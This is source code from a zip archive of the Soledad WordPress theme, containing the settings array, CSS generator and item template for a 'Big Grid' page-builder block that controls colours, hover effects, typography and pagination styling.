				'param_name' => 'overlay_hopacity',
				'group'      => $group_color,
			),

			array(
				'type'        => 'penci_switch',
				'heading'     => __( 'Apply Separate Background for Categories/Sub Title', 'soledad' ),
				'param_name'  => 'apply_spe_bg_subtitle',
				'true_state'  => 'yes',
				'false_state' => 'no',
				'default'     => 'no',
				'std'         => 'no',
				'group'       => $group_color,
			),

			array(
				'type'       => 'colorpicker',
				'heading'    => __( 'Background for Categories/Sub Title', 'soledad' ),
				'param_name' => 'spe_bg_subtitle',
				'group'      => $group_color,
				'dependency' => array( 'element' => 'apply_spe_bg_subtitle', 'value' => 'yes' ),
			),

			array(
				'type'       => 'colorpicker',
				'heading'    => __( 'Background for Categories/Sub Title on Hover', 'soledad' ),
				'param_name' => 'spe_bg_hsubtitle',
				'group'      => $group_color,
				'dependency' => array( 'element' => 'apply_spe_bg_subtitle', 'value' => 'yes' ),
			),

			array(
				'type'        => 'penci_switch',
				'heading'     => __( 'Apply Separate Background for Title', 'soledad' ),
				'param_name'  => 'apply_spe_bg_title',
				'true_state'  => 'yes',
				'false_state' => 'no',
				'default'     => 'no',
				'std'         => 'no',
				'group'       => $group_color,
			),

			array(
				'type'       => 'colorpicker',
				'heading'    => __( 'Background for Title', 'soledad' ),
				'param_name' => 'spe_bg_title',
				'group'      => $group_color,
				'dependency' => array( 'element' => 'apply_spe_bg_title', 'value' => 'yes' ),
			),

			array(
				'type'       => 'colorpicker',
				'heading'    => __( 'Background for Title on Hover', 'soledad' ),
				'param_name' => 'spe_bg_htitle',
				'group'      => $group_color,
				'dependency' => array( 'element' => 'apply_spe_bg_title', 'value' => 'yes' ),
			),

			array(
				'type'        => 'penci_switch',
				'heading'     => __( 'Apply Separate Background for Post Meta/Description', 'soledad' ),
				'param_name'  => 'apply_spe_bg_meta',
				'true_state'  => 'yes',
				'false_state' => 'no',
				'default'     => 'no',
				'std'         => 'no',
				'group'       => $group_color,
			),

			array(
				'type'       => 'colorpicker',
				'heading'    => __( 'Background for Post Meta/Description', 'soledad' ),
				'param_name' => 'spe_bg_meta',
				'group'      => $group_color,
				'dependency' => array( 'element' => 'apply_spe_bg_meta', 'value' => 'yes' ),
			),

			array(
				'type'       => 'colorpicker',
				'heading'    => __( 'Background for Post Meta/Description on Hover', 'soledad' ),
				'param_name' => 'spe_bg_hmeta',
				'group'      => $group_color,
				'dependency' => array( 'element' => 'apply_spe_bg_meta', 'value' => 'yes' ),
			),

			array(
				'type'             => 'textfield',
				'param_name'       => 'penci_separator_hover_effect',
				'heading'          => __( 'Big Grid Hover Effects', 'soledad' ),
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),

			array(
				'type'       => 'dropdown',
				'heading'    => __( 'Image Hover Effect', 'soledad' ),
				'param_name' => 'image_hover',
				'value'      => array(
					'Zoom-In'        => 'zoom-in',
					'Zoom-out'       => 'zoom-out',
					'Move to Left'   => 'move-left',
					'Move to Right'  => 'move-right',
					'Move to Bottom' => 'move-bottom',
					'Move to Top'    => 'move-top',
					'None'           => 'none',
				),
				'group'      => $group_color,
			),

			array(
				'type'       => 'dropdown',
				'heading'    => __( 'Content Text Hover Type', 'soledad' ),
				'param_name' => 'text_overlay',
				'value'      => array(
					'None'          => 'none',
					'Show on Hover' => 'show-in',
					'Hide on Hover' => 'hide-in',
				),
				'group'      => $group_color,
			),

			array(
				'type'       => 'dropdown',
				'heading'    => __( 'Content Text Hover Animation', 'soledad' ),
				'param_name' => 'text_overlay_ani',
				'value'      => array(
					'Move to Top'    => 'movetop',
					'Move to Bottom' => 'movebottom',
					'Move to Left'   => 'moveleft',
					'Move to Right'  => 'moveright',
					'Zoom In'        => 'zoomin',
					'Zoom Out'       => 'zoomout',
					'Fade'           => 'fade',
				),
				'group'      => $group_color,
			),

			array(
				'type'        => 'penci_switch',
				'heading'     => __( 'Makes Titles Always Visible?', 'soledad' ),
				'param_name'  => 'title_anivisi',
				'group'       => $group_color,
				'true_state'  => 'yes',
				'false_state' => 'no',
				'default'     => 'yes',
				'std'         => 'yes',
				'dependency'  => array( 'element' => 'text_overlay', 'value_not_equal_to' => array( 'none' ) ),
			),

			array(
				'type'             => 'textfield',
				'param_name'       => 'penci_separator_typo_color',
				'heading'          => __( 'Big Grid Typo & Color', 'soledad' ),
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),

			array(
				'type'       => 'colorpicker',
				'heading'    => __( 'Background Color', 'soledad' ),
				'param_name' => 'bgitem_bg',
				'group'      => $group_color,
			),

			array(
				'type'       => 'colorpicker',
				'heading'    => __( 'Border Color', 'soledad' ),
				'param_name' => 'bgitem_borders',
				'group'      => $group_color,
			),

			array(
				'type'       => 'penci_responsive_sizes',
				'heading'    => __( 'Borders Width', 'soledad' ),
				'param_name' => 'bgitem_borderwidth',
				'group'      => $group_color,
			),

			array(
				'type'       => 'penci_only_number',
				'heading'    => __( 'Padding', 'soledad' ),
				'param_name' => 'bgitem_padding',
				'group'      => $group_color,
			),

			array(
				'type'             => 'textfield',
				'param_name'       => 'penci_separator_bgtitle_design',
				'heading'          => __( 'Big Grid Title Design', 'soledad' ),
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),

			array(
				'type'       => 'colorpicker',
				'heading'    => __( 'Text & Link Color', 'soledad' ),
				'param_name' => 'bgsub_title',
				'group'      => $group_color,
			),

			array(
				'type'       => 'colorpicker',
				'heading'    => __( 'Link Hover Color', 'soledad' ),
				'param_name' => 'bgsub_title_hover',
				'group'      => $group_color,
			),

			array(
				'type'       => 'font_container',
				'heading'    => __( 'Typography', 'soledad' ),
				'param_name' => 'bgsub_title_typo',
				'value'      => '',
				'group'      => $group_color,
				'settings'   => array(
					'fields' => array(
						//'tag'                     => 'h2',
						'text_align',
						'font_size',
						'line_height',
						'color',
						'tag_description'         => esc_html__( 'Select element tag.', 'js_composer' ),
						'text_align_description'  => esc_html__( 'Select text alignment.', 'js_composer' ),
						'font_size_description'   => esc_html__( 'Enter font size.', 'js_composer' ),
						'line_height_description' => esc_html__( 'Enter line height.', 'js_composer' ),
						'color_description'       => esc_html__( 'Select color for your element.', 'js_composer' ),
					),
				),
			),

			array(
				'type'             => 'textfield',
				'param_name'       => 'penci_separator_bgtitle',
				'heading'          => __( 'Big Grid Title', 'soledad' ),
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),

			array(
				'type'       => 'colorpicker',
				'heading'    => __( 'Title Color', 'soledad' ),
				'param_name' => 'bgtitle_color',
				'group'      => $group_color,
			),

			array(
				'type'       => 'colorpicker',
				'heading'    => __( 'Title Hover Color', 'soledad' ),
				'param_name' => 'bgtitle_color_hover',
				'group'      => $group_color,
			),

			array(
				'type'       => 'font_container',
				'heading'    => __( 'Title Typography for Big Items', 'soledad' ),
				'param_name' => 'bgtitle_typo_big',
				'value'      => '',
				'group'      => $group_color,
				'settings'   => array(
					'fields' => array(
						//'tag'                     => 'h2',
						'text_align',
						'font_size',
						'line_height',
						'color',
						'tag_description'         => esc_html__( 'Select element tag.', 'js_composer' ),
						'text_align_description'  => esc_html__( 'Select text alignment.', 'js_composer' ),
						'font_size_description'   => esc_html__( 'Enter font size.', 'js_composer' ),
						'line_height_description' => esc_html__( 'Enter line height.', 'js_composer' ),
						'color_description'       => esc_html__( 'Select color for your element.', 'js_composer' ),
					),
				),
			),

			array(
				'type'       => 'font_container',
				'heading'    => __( 'Title Typography', 'soledad' ),
				'param_name' => 'bgtitle_typo',
				'value'      => '',
				'group'      => $group_color,
				'settings'   => array(
					'fields' => array(
						//'tag'                     => 'h2',
						'text_align',
						'font_size',
						'line_height',
						'color',
						'tag_description'         => esc_html__( 'Select element tag.', 'js_composer' ),
						'text_align_description'  => esc_html__( 'Select text alignment.', 'js_composer' ),
						'font_size_description'   => esc_html__( 'Enter font size.', 'js_composer' ),
						'line_height_description' => esc_html__( 'Enter line height.', 'js_composer' ),
						'color_description'       => esc_html__( 'Select color for your element.', 'js_composer' ),
					),
				),
			),

			array(
				'type'             => 'textfield',
				'param_name'       => 'penci_separator_post_meta',
				'heading'          => __( 'Post Meta & Description Text', 'soledad' ),
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),

			array(
				'type'       => 'colorpicker',
				'heading'    => __( 'Text Color', 'soledad' ),
				'param_name' => 'bgdesc_color',
				'group'      => $group_color,
			),

			array(
				'type'       => 'colorpicker',
				'heading'    => __( 'Links Color', 'soledad' ),
				'param_name' => 'bgdesc_link_color',
				'group'      => $group_color,
			),

			array(
				'type'       => 'colorpicker',
				'heading'    => __( 'Links Hover Color', 'soledad' ),
				'param_name' => 'bgdesc_link_hcolor',
				'group'      => $group_color,
			),

			array(
				'type'       => 'font_container',
				'heading'    => __( 'Typography', 'soledad' ),
				'param_name' => 'title_typo',
				'value'      => '',
				'group'      => $group_color,
				'settings'   => array(
					'fields' => array(
						//'tag'                     => 'h2',
						'text_align',
						'font_size',
						'line_height',
						'color',
						'tag_description'         => esc_html__( 'Select element tag.', 'js_composer' ),
						'text_align_description'  => esc_html__( 'Select text alignment.', 'js_composer' ),
						'font_size_description'   => esc_html__( 'Enter font size.', 'js_composer' ),
						'line_height_description' => esc_html__( 'Enter line height.', 'js_composer' ),
						'color_description'       => esc_html__( 'Select color for your element.', 'js_composer' ),
					),
				),
			),

			array(
				'type'             => 'textfield',
				'param_name'       => 'penci_separator_readmore',
				'heading'          => __( 'Read More Button', 'soledad' ),
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),

			array(
				'type'       => 'colorpicker',
				'heading'    => __( 'Text Color', 'soledad' ),
				'param_name' => 'readmore_color',
				'group'      => $group_color,
			),

			array(
				'type'       => 'colorpicker',
				'heading'    => __( 'Text Hover Color', 'soledad' ),
				'param_name' => 'readmore_hcolor',
				'group'      => $group_color,
			),

			array(
				'type'       => 'colorpicker',
				'heading'    => __( 'Border Color', 'soledad' ),
				'param_name' => 'bgreadmore_color',
				'group'      => $group_color,
			),

			array(
				'type'       => 'colorpicker',
				'heading'    => __( 'Border Hover Color', 'soledad' ),
				'param_name' => 'bgreadmore_hcolor',
				'group'      => $group_color,
			),

			array(
				'type'       => 'colorpicker',
				'heading'    => __( 'Background Color', 'soledad' ),
				'param_name' => 'bgreadmore_bgcolor',
				'group'      => $group_color,
			),

			array(
				'type'       => 'colorpicker',
				'heading'    => __( 'Background Hover Color', 'soledad' ),
				'param_name' => 'bgreadmore_hbgcolor',
				'group'      => $group_color,
			),

			array(
				'type'       => 'font_container',
				'heading'    => __( 'Typography', 'soledad' ),
				'param_name' => 'bgreadm_typo',
				'value'      => '',
				'group'      => $group_color,
				'settings'   => array(
					'fields' => array(
						//'tag'                     => 'h2',
						'text_align',
						'font_size',
						'line_height',
						'color',
						'tag_description'         => esc_html__( 'Select element tag.', 'js_composer' ),
						'text_align_description'  => esc_html__( 'Select text alignment.', 'js_composer' ),
						'font_size_description'   => esc_html__( 'Enter font size.', 'js_composer' ),
						'line_height_description' => esc_html__( 'Enter line height.', 'js_composer' ),
						'color_description'       => esc_html__( 'Select color for your element.', 'js_composer' ),
					),
				),
			),

			array(
				'type'             => 'penci_only_number',
				'heading'          => __( 'Borders Width', 'soledad' ),
				'param_name'       => 'bgreadmore_borderwidth',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-4',
			),

			array(
				'type'             => 'penci_only_number',
				'heading'          => __( 'Borders Radius', 'soledad' ),
				'param_name'       => 'bgreadmore_borderradius',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-4',
			),

			array(
				'type'             => 'penci_only_number',
				'heading'          => __( 'Padding', 'soledad' ),
				'param_name'       => 'bgreadmore_padding',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-4',
			),

			array(
				'type'       => 'penci_switch',
				'heading'    => __( 'Add Icon to "Read More" Button', 'soledad' ),
				'param_name' => 'add_icon_readmore',
				'group'      => $group_color,
			),

			array(
				'type'             => 'iconpicker',
				'heading'          => __( 'Add Icon to "Read More" Button', 'soledad' ),
				'param_name'       => 'readmore_icon',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),

			array(
				'type'             => 'dropdown',
				'heading'          => __( 'Icon position', 'soledad' ),
				'param_name'       => 'readmore_icon_pos',
				'group'            => $group_color,
				'value'            => array(
					'Right' => 'right',
					'Left'  => 'left',
				),
				'edit_field_class' => 'vc_col-sm-6',
			),

			array(
				'type'             => 'textfield',
				'param_name'       => 'penci_separator_pagenavi',
				'heading'          => __( 'Page Navigation', 'soledad' ),
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),

			array(
				'type'       => 'penci_only_number',
				'heading'    => __( 'Load More Posts Button Max Width', 'soledad' ),
				'param_name' => 'pagi_mwidth',
				'group'      => $group_color,
			),

			array(
				'type'       => 'colorpicker',
				'heading'    => __( 'Text Color', 'soledad' ),
				'param_name' => 'pagi_color',
				'group'      => $group_color,
			),

			array(
				'type'       => 'colorpicker',
				'heading'    => __( 'Text Hove & Active Color', 'soledad' ),
				'param_name' => 'pagi_hcolor',
				'group'      => $group_color,
			),

			array(
				'type'       => 'colorpicker',
				'heading'    => __( 'Border Color', 'soledad' ),
				'param_name' => 'bgpagi_color',
				'group'      => $group_color,
			),

			array(
				'type'       => 'colorpicker',
				'heading'    => __( 'Border Hove & Active Color', 'soledad' ),
				'param_name' => 'bgpagi_hcolor',
				'group'      => $group_color,
			),

			array(
				'type'       => 'colorpicker',
				'heading'    => __( 'Background Color', 'soledad' ),
				'param_name' => 'bgpagi_bgcolor',
				'group'      => $group_color,
			),

			array(
				'type'       => 'colorpicker',
				'heading'    => __( 'Hove & Active Background Color', 'soledad' ),
				'param_name' => 'bgpagi_hbgcolor',
				'group'      => $group_color,
			),

			array(
				'type'       => 'font_container',
				'heading'    => __( 'Typography', 'soledad' ),
				'param_name' => 'bgpagi_typo',
				'value'      => '',
				'group'      => $group_color,
				'settings'   => array(
					'fields' => array(
						//'tag'                     => 'h2',
						'text_align',
						'font_size',
						'line_height',
						'color',
						'tag_description'         => esc_html__( 'Select element tag.', 'js_composer' ),
						'text_align_description'  => esc_html__( 'Select text alignment.', 'js_composer' ),
						'font_size_description'   => esc_html__( 'Enter font size.', 'js_composer' ),
						'line_height_description' => esc_html__( 'Enter line height.', 'js_composer' ),
						'color_description'       => esc_html__( 'Select color for your element.', 'js_composer' ),
					),
				),
			),

			array(
				'type'             => 'penci_only_number',
				'heading'          => __( 'Borders Width', 'soledad' ),
				'param_name'       => 'bgreadmore_borderwidth',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-4',
			),

			array(
				'type'             => 'penci_only_number',
				'heading'          => __( 'Borders Radius', 'soledad' ),
				'param_name'       => 'bgreadmore_borderradius',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-4',
			),

			array(
				'type'             => 'penci_only_number',
				'heading'          => __( 'Padding', 'soledad' ),
				'param_name'       => 'bgpagi_padding',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-4',
			),

		), Penci_Vc_Params_Helper::params_heading_filter(), Penci_Vc_Params_Helper::params_custom_meta_fields(), Penci_Vc_Params_Helper::params_heading_filter_style(), Penci_Vc_Params_Helper::extra_params(),Penci_Vc_Params_Helper::params_bookmark_icon() )
) );
PK     N\:*  *  +  inc/js_composer/shortcodes/big_grid/css.phpnu [        <?php
$css = '';
$id  = '#' . esc_attr( $block_id );
$id2  = 'body:not(.pcdm-enable) #' . esc_attr( $block_id );

$css .= Penci_Vc_Helper::get_heading_block_css( $id, $atts );
$css .= Penci_Vc_Helper::get_heading_block_filter_css( $id, $atts );

if ( $bg_gap ) {
	$css .= $id . '.penci-bgstyle-1 .penci-dflex{margin-left: calc(-' . $bg_gap . 'px/2); margin-right: calc(-' . $bg_gap . 'px/2); width: calc(100% + ' . $bg_gap . 'px);}';
	$css .= $id . '.penci-bgstyle-2 .item-masonry, ' . $id . ' .penci-bgstyle-1 .penci-bgitem{padding-left: calc(' . $bg_gap . 'px/2); padding-right: calc(' . $bg_gap . 'px/2); margin-bottom: {' . $bg_gap . 'px}';
	$css .= $id . '.penci-bgstyle-2 .penci-biggrid-data{margin-left: calc(-' . $bg_gap . 'px/2); margin-right: calc(-' . $bg_gap . 'px/2);}';
}

if ( $bg_othergap ) {
	$css .= $id . ' .penci-biggrid{ --pcgap: ' . $bg_othergap . 'px; }';
}

if ( $penci_img_ratio ) {
	$css .= $id . ' .penci-bgitem .penci-image-holder:before{padding-top: ' . $penci_img_ratio . '%;}';
}

if ( $bg_height ) {
	$css .= $id . ' .penci-biggrid .penci-fixh{--bgh: ' . $bg_height . 'px;}';
}

if ( $paging_matop ) {
	$css .= $id . ' .penci-pagination{margin-top: ' . $paging_matop . 'px}';
}

if ( $content_horizontal_position ) {
	$content_horizontal_position_prop = array(
		'left'   => 'margin-right: auto',
		'center' => 'margin-left: auto; margin-right: auto;',
		'right'  => 'margin-left: auto',
	);
	$css                              .= $id . ' .pcbg-content-inner:{' . $content_horizontal_position_prop[ $content_horizontal_position ] . '}';
}

if ( $content_vertical_position ) {
	$content_vertical_position_prop = array(
		'top'    => 'flex-start',
		'middle' => 'center',
		'bottom' => 'flex-end',
	);
	$css                            .= $id . ' .pcbg-content-flex{' . $content_vertical_position_prop[ $content_vertical_position ] . '}';
}

if ( $content_text_align ) {
	$css .= $id . ' .pcbg-content-flex{text-align: ' . $content_text_align . '}';
}

if ( $content_width ) {
	$css .= $id . ' .pcbg-content-inner{max-width: ' . $content_width . '}';
}

if ( $content_padding ) {
	$css .= $id . ' .pcbg-content-inner{padding: ' . $content_padding . '}';
}

if ( $content_margin ) {
	$css .= $id . ' .pcbg-content-inner{margin: ' . $content_margin . '}';
}

if ( $overlay_opacity ) {
	$css .= $id . ' .penci-bgmain:hover .pcbg-bgoverlay.active-overlay{opacity: calc( ' . $overlay_opacity . '/100 )}';
	$css .= $id . ' .penci-bgmain:hover .pcbg-bgoverlaytext.active-overlay{opacity: calc( ' . $overlay_opacity . '/100 )}';
}

if ( $spe_bg_subtitle ) {
	$css .= $id2 . ' .penci-bgrid-based-post .cat > a.penci-cat-name{background-color: ' . $spe_bg_subtitle . ';}';
	$css .= $id2 . ' .penci-bgrid-based-custom .pcbg-sub-title{background-color: ' . $spe_bg_subtitle . '; border-color: ' . $spe_bg_subtitle . ';}';
}

if ( $spe_bg_hsubtitle ) {
	$css .= $id2 . ' .penci-bgrid-based-post .penci-bgitem:hover .cat > a.penci-cat-name{background-color: ' . $spe_bg_hsubtitle . ';}';
	$css .= $id2 . ' .penci-bgrid-based-custom .penci-bgitem:hover .pcbg-sub-title{background-color: ' . $spe_bg_hsubtitle . '; border-color: ' . $spe_bg_hsubtitle . ';}';
}

if ( $spe_bg_title ) {
	$css .= $id2 . ' .pcbg-title{background-color: ' . $spe_bg_title . '; border-color: ' . $spe_bg_title . ';}';
}

if ( $spe_bg_htitle ) {
	$css .= $id2 . ' .penci-bgitem:hover .pcbg-title{background-color: ' . $spe_bg_htitle . '; border-color: ' . $spe_bg_htitle . ';}';
}

if ( $spe_bg_meta ) {
	$css .= $id2 . ' .pcbg-meta-desc{background-color: ' . $spe_bg_meta . '; border-color: ' . $spe_bg_meta . ';}';
}

if ( $spe_bg_hmeta ) {
	$css .= $id2 . ' .penci-bgitem:hover .pcbg-meta-desc{background-color: ' . $spe_bg_hmeta . '; border-color: ' . $spe_bg_hmeta . ';}';
}

if ( $bgitem_bg ) {
	$css .= $id2 . ' .penci-biggrid .penci-bgitin{background-color: ' . $bgitem_bg . ';}';
}

if ( $bgitem_borders ) {
	$css .= $id2 . ' .penci-biggrid .penci-bgitin{border: 1px solid ' . $bgitem_borders . ';}';
}

if ( $bgitem_borderwidth ) {
	$css .= penci_extract_md_responsive_fsize( $id . ' .penci-biggrid .penci-bgitin{border-width:{{VALUE}}px;}', $bgitem_borderwidth );
}

if ( $bgitem_padding ) {
	$css .= $id . ' .penci-biggrid .penci-bgitin{padding: ' . $bgitem_padding . ';}';
}

if ( $bgsub_title ) {
	$css .= $id2 . ' .penci-bgrid-based-custom .pcbg-content-inner .pcbg-above{color: ' . $bgsub_title . ';}';
	$css .= $id2 . ' .pcbg-content-inner .pcbg-above span{color: ' . $bgsub_title . ';}';
	$css .= $id2 . ' .pcbg-content-inner .pcbg-above span a{color: ' . $bgsub_title . ';}';
}

if ( $bgsub_title_hover ) {
	$css .= $id2 . ' .pcbg-content-inner .pcbg-above a:hover{color: ' . $bgsub_title_hover . ';}';
}

if ( $bgtitle_color ) {
	$css .= $id2 . ' .pcbg-content-inner .pcbg-title a,' . $id . ' .pcbg-content-inner .pcbg-title{color: ' . $bgtitle_color . ';}';
}

if ( $bgtitle_color_hover ) {
	$css .= $id2 . ' .pcbg-content-inner .pcbg-title a:hover{color: ' . $bgtitle_color_hover . ';}';
}

if ( $bgdesc_color ) {
	$css .= $id2 . ' .pcbg-content-inner .pcbg-meta{color: ' . $bgdesc_color . ';}';
	$css .= $id2 . ' .pcbg-content-inner .pcbg-meta span{color: ' . $bgdesc_color . ';}';
}

if ( $bgdesc_link_color ) {
	$css .= $id2 . ' .pcbg-content-inner .pcbg-meta a{color: ' . $bgdesc_link_color . ';}';
	$css .= $id2 . ' .pcbg-content-inner .pcbg-meta span a{color: ' . $bgdesc_link_color . ';}';
}

if ( $bgdesc_link_hcolor ) {
	$css .= $id . ' .pcbg-content-inner .pcbg-meta a:hover{color: ' . $bgdesc_link_hcolor . ';}';
	$css .= $id . ' .pcbg-content-inner .pcbg-meta span a:hover{color: ' . $bgdesc_link_hcolor . ';}';
}

if ( $readmore_color ) {
	$css .= $id . ' .pcbg-readmore-sec .pcbg-readmorebtn{color: ' . $readmore_color . ';}';
}

if ( $readmore_hcolor ) {
	$css .= $id . ' .pcbg-readmore-sec .pcbg-readmorebtn:hover{color: ' . $readmore_hcolor . ';}';
}

if ( $bgreadmore_color ) {
	$css .= $id . ' .pcbg-readmore-sec .pcbg-readmorebtn{border: 1px solid ' . $bgreadmore_color . ';}';
}

if ( $bgreadmore_hcolor ) {
	$css .= $id2 . ' .pcbg-readmore-sec .pcbg-readmorebtn:hover{border-color: ' . $bgreadmore_hcolor . ';}';
}

if ( $bgreadmore_bgcolor ) {
	$css .= $id2 . ' .pcbg-readmore-sec .pcbg-readmorebtn{background-color: ' . $bgreadmore_bgcolor . ';}';
}

if ( $bgreadmore_hbgcolor ) {
	$css .= $id2 . ' .pcbg-readmore-sec .pcbg-readmorebtn:hover{background-color: ' . $bgreadmore_hbgcolor . ';}';
}

if ( $bgreadmore_borderwidth ) {
	$css .= $id . ' .pcbg-readmore-sec .pcbg-readmorebtn{border-width: ' . $bgreadmore_borderwidth . ';}';
}

if ( $bgreadmore_borderradius ) {
	$css .= $id . ' .pcbg-readmore-sec .pcbg-readmorebtn{border-radius: ' . $bgreadmore_borderwidth . ';}';
}

if ( $bgreadmore_padding ) {
	$css .= $id . ' .pcbg-readmore-sec .pcbg-readmorebtn{padding: ' . $bgreadmore_padding . ';}';
}

if ( $pagi_mwidth ) {
	$css .= $id . ' .penci-pagination.penci-ajax-more a.penci-ajax-more-button{max-width: ' . $pagi_mwidth . ';}';
}

if ( $pagi_color ) {
	$css .= $id2 . ' .penci-pagination a{color: ' . $pagi_color . ';}';
	$css .= $id2 . ' .penci-pagination ul.page-numbers li a{color: ' . $pagi_color . ';}';
}

if ( $pagi_hcolor ) {
	$css .= $id2 . ' .penci-pagination a:hover{color: ' . $pagi_hcolor . ';}';
	$css .= $id2 . ' .penci-pagination ul.page-numbers li a:hover{color: ' . $pagi_hcolor . ';}';
	$css .= $id2 . ' .penci-pagination ul.page-numbers li span.current{color: ' . $pagi_hcolor . ';}';
}

if ( $bgpagi_color ) {
	$css .= $id2 . ' .penci-pagination a{border-color: ' . $bgpagi_color . ';}';
	$css .= $id2 . ' .penci-pagination ul.page-numbers li a{border-color: ' . $bgpagi_color . ';}';
}

if ( $bgpagi_hcolor ) {
	$css .= $id2 . ' .penci-pagination a:hover{border-color: ' . $bgpagi_hcolor . ';}';
	$css .= $id2 . ' .penci-pagination ul.page-numbers li a:hover{border-color: ' . $bgpagi_hcolor . ';}';
	$css .= $id2 . ' .penci-pagination ul.page-numbers li span.current{border-color: ' . $bgpagi_hcolor . ';}';
}

if ( $bgpagi_bgcolor ) {
	$css .= $id2 . ' .penci-pagination a{background-color: ' . $bgpagi_bgcolor . ';}';
	$css .= $id2 . ' .penci-pagination ul.page-numbers li a{background-color: ' . $bgpagi_bgcolor . ';}';
}

if ( $bgpagi_hbgcolor ) {
	$css .= $id2 . ' .penci-pagination a:hover{background-color: ' . $bgpagi_hbgcolor . ';}';
	$css .= $id2 . ' .penci-pagination ul.page-numbers li a:hover{background-color: ' . $bgpagi_hbgcolor . ';}';
	$css .= $id2 . ' .penci-pagination ul.page-numbers li span.current{background-color: ' . $bgpagi_hbgcolor . ';}';
}

if ( $bgpagi_borderwidth ) {
	$css .= $id . ' ul.page-numbers li a{border-width: ' . $bgpagi_borderwidth . ';}';
	$css .= $id . ' ul.page-numbers span.current{border-width: ' . $bgpagi_borderwidth . ';}';
	$css .= $id . ' .penci-pagination a{border-width: ' . $bgpagi_borderwidth . ';}';
}

if ( $bgpagi_borderradius ) {
	$css .= $id . ' ul.page-numbers li a{border-radius: ' . $bgpagi_borderradius . ';}';
	$css .= $id . ' ul.page-numbers span.current{border-radius: ' . $bgpagi_borderradius . ';}';
	$css .= $id . ' .penci-pagination a{border-radius: ' . $bgpagi_borderradius . ';}';
}

if ( $bgpagi_padding ) {
	$css .= $id . ' ul.page-numbers li a{padding: ' . $bgpagi_padding . ';}';
	$css .= $id . ' ul.page-numbers span.current{padding: ' . $bgpagi_padding . ';}';
	$css .= $id . ' .penci-pagination a{padding: ' . $bgpagi_padding . ';}';
}


if ( $bgsub_title_typo ) {
	$css .= $id . ' .penci-bgrid-based-custom .pcbg-content-inner .pcbg-above, ' . $id . ' .pcbg-content-inner .pcbg-above span,' . $id . ' .pcbg-content-inner .pcbg-above span a{' . penci_soledad_vc_extract_font_prop( $bgsub_title_typo ) . '}';
}

if ( $bgtitle_typo_big ) {
	$css .= $id . ' .pcbg-big-item .pcbg-content-inner .pcbg-title,' . $id . ' .pcbg-big-item .pcbg-content-inner .pcbg-title a{' . penci_soledad_vc_extract_font_prop( $bgtitle_typo_big ) . '}';
}

if ( $bgtitle_typo ) {
	$css .= $id . ' .pcbg-content-inner .pcbg-title,' . $id . ' .pcbg-content-inner .pcbg-title a{' . penci_soledad_vc_extract_font_prop( $bgtitle_typo ) . '}';
}

if ( $title_typo ) {
	$css .= $id . ' .pcbg-content-inner .pcbg-meta,' . $id . ' .pcbg-content-inner .pcbg-meta span, ' . $id . ' .pcbg-content-inner .pcbg-meta a{' . penci_soledad_vc_extract_font_prop( $title_typo ) . '}';
}

if ( $bgreadm_typo ) {
	$css .= $id . ' .pcbg-readmore-sec .pcbg-readmorebtn{' . penci_soledad_vc_extract_font_prop( $bgreadm_typo ) . '}';
}

if ( $bgreadm_typo ) {
	$css .= $id . ' .pcbg-readmore-sec .pcbg-readmorebtn{' . penci_soledad_vc_extract_font_prop( $bgreadm_typo ) . '}';
}

if ( $bgpagi_typo ) {
	$css .= $id . ' .penci-pagination a, ' . $id . ' .penci-pagination span.current{' . penci_soledad_vc_extract_font_prop( $bgpagi_typo ) . '}';
}
if ( $responsive_spacing ) {
	$css .= penci_extract_spacing_style( $id, $responsive_spacing );
}

$css .= Penci_Vc_Helper::get_bookmark_icon_css( $id, $atts );

if ( $css ) {
	echo '<style id="penci-vc_big_grid_custom_css">';
	echo $css;
	echo '</style>';
}
PK     N\JK  K  .  inc/js_composer/shortcodes/big_grid/custom.phpnu [        <div class="penci-bgitem<?php if ( 'style-2' == $biggid_style ) {
	echo ' item-masonry';
}
echo $is_big_item . penci_big_grid_count_classes( $bg, $biggid_style ) . $item_id; ?>">
    <div class="penci-bgitin">
        <div class="penci-bgmain">
            <div class="pcbg-thumb">
                <div class="pcbg-thumbin">
                    <a class="pcbg-bgoverlay<?php if ( 'whole' == $overlay_type && 'on' != $bgcontent_pos ): echo ' active-overlay'; endif; ?>"
					   <?php if ( $title_link ){ ?>href="<?php echo esc_url( $title_link ); ?>"<?php }
					echo $title_external . $title_nofollow . $title_attr; ?>
                       title="<?php echo wp_strip_all_tags( $title ); ?>"></a>

                    <div <?php echo penci_layout_bg( $image_url, ! $disable_lazy ); ?> class="<?php echo penci_layout_bg_class(! $disable_lazy);?> penci-image-holder"<?php if ( 'style-2' == $biggid_style ) {
						echo ' style="padding-bottom: ' . $image_ratio . '%"';
					} ?>>
						<?php echo penci_layout_img( $image_url, $title, ! $disable_lazy ); ?>
                    </div>

                </div>
            </div>
            <div class="pcbg-content">
                <div class="pcbg-content-flex">
                    <a class="pcbg-bgoverlay<?php if ( 'whole' == $overlay_type && 'on' == $bgcontent_pos ): echo ' active-overlay'; endif; ?>"
					   <?php if ( $title_link ){ ?>href="<?php echo esc_url( $title_link ); ?>"<?php }
					echo $title_external . $title_nofollow . $title_attr; ?>
                       title="<?php echo wp_strip_all_tags( $title ); ?>"></a>
                    <div class="pcbg-content-inner<?php if ( 'inline-block' == $content_display ) {
						echo ' bgcontent-inline-block';
					} else {
						echo ' bgcontent-block';
					} ?>">
                        <a <?php if ( $title_link ){ ?>href="<?php echo esc_url( $title_link ); ?>"<?php }
